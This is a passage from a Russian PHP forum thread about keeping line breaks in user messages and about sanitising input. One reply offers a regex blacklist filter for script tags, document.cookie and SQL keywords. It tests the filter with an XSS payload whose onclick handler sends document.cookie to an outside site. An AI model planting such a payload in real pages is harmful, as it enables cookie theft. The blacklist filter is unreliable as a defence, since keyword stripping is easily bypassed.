Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Скриптовые языки программирования > PHP
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 17.08.2015, 19:10   #11
s88s
Форумчанин
 
Регистрация: 02.01.2014
Сообщений: 369
По умолчанию

Цитата:
Сообщение от ResourceSpace Посмотреть сообщение
PHP код:
$Text['message'] = str_replace("\n"'<br />'$Text['message']); 
Зачем вы так делаете? Что вас не устраивает при отсутствии данной строки?
меня не устраивает вот что :

Если я пишу к примеру так

Цитата:

строка 1
строка 2
строка 3
строка 4
строка 5
строка 6
строка 7
строка 8
то при этой строке все так же и отображается как я написал если я уберу
PHP]$Text['message'] = str_replace("\n", '<br />', $Text['message']);[/PHP]

то отображатся будет так

Цитата:

строка 1 строка 2 строка 3 строка 4 строка 5 строка 6 строка 7 строка 8
что конечно не будет соответствовать тому что я написал
"Я не волшебник, я только учусь"
s88s вне форума Ответить с цитированием
Старый 17.08.2015, 21:54   #12
uberchel
Участник клуба
 
Аватар для uberchel
 
Регистрация: 19.01.2009
Сообщений: 1,453
По умолчанию

Защита делается не так, strip_tags вообще в основном он используется в Гет запросах или на стороне клиента, когда теги не особо нужны. На админ части надо делать все по другому - писать свой фильтр с использованием регуляторных выражений и перевода в html мнемоники htmlspecialchars,htmlintities и т.д.

Вот пример такой функции, пусть будет даже для 2-х групп - юзер и админ:


Код:
<?
    
    function clear($a, $admin = true)
    {
    	if (empty($a)) {
    		return '';
    	}
    	if (!$admin) {
    		$a = strip_tags($a);
    	} else {
    		$a = preg_replace("#[^a-zа-яА-Я0-9-\_\.\:\;\&\#\+\~\@\$\^\*\(\)\[\]\=\!\{\}\?\<\>\/\,\'\s\S\"\№\%\\n\\r\\t]+#isu", '', $a);
            $a = preg_replace("#x27|x22|x25|x60|x3C|x3E|<scri.+pt>|</?scr.+>|<s.+cript>|<.\\0.+>|\s?\+?\s?document.cookie|<\?php|select.+from|update.+set|alert\s+?.+|insert.+into.*|union.*|delete\s+?from|drop\s+?table.*|truncate.*#isU", '', $a);
    	}
    	return htmlspecialchars($a);
    }
	
	echo clear('<script>alert(\'ok\');</script><a href="http://site.ru/" onclick="location.href=\'http://site.ru/script.php?q=\' + document.cookie">link</a><div>text</div>');
	
?>
uberchel вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
preg_replace и str_replace Andrej24 PHP 1 30.01.2015 12:22
Непонятка с str_replace KoBaL PHP 6 20.07.2014 22:36
заставить работать str_replace Тандер PHP 1 04.04.2014 18:55
utf8(кирилица) и функция str_replace Небесный PHP 4 14.07.2013 13:58
str_replace и substr_replace kilogram PHP 8 11.04.2012 10:35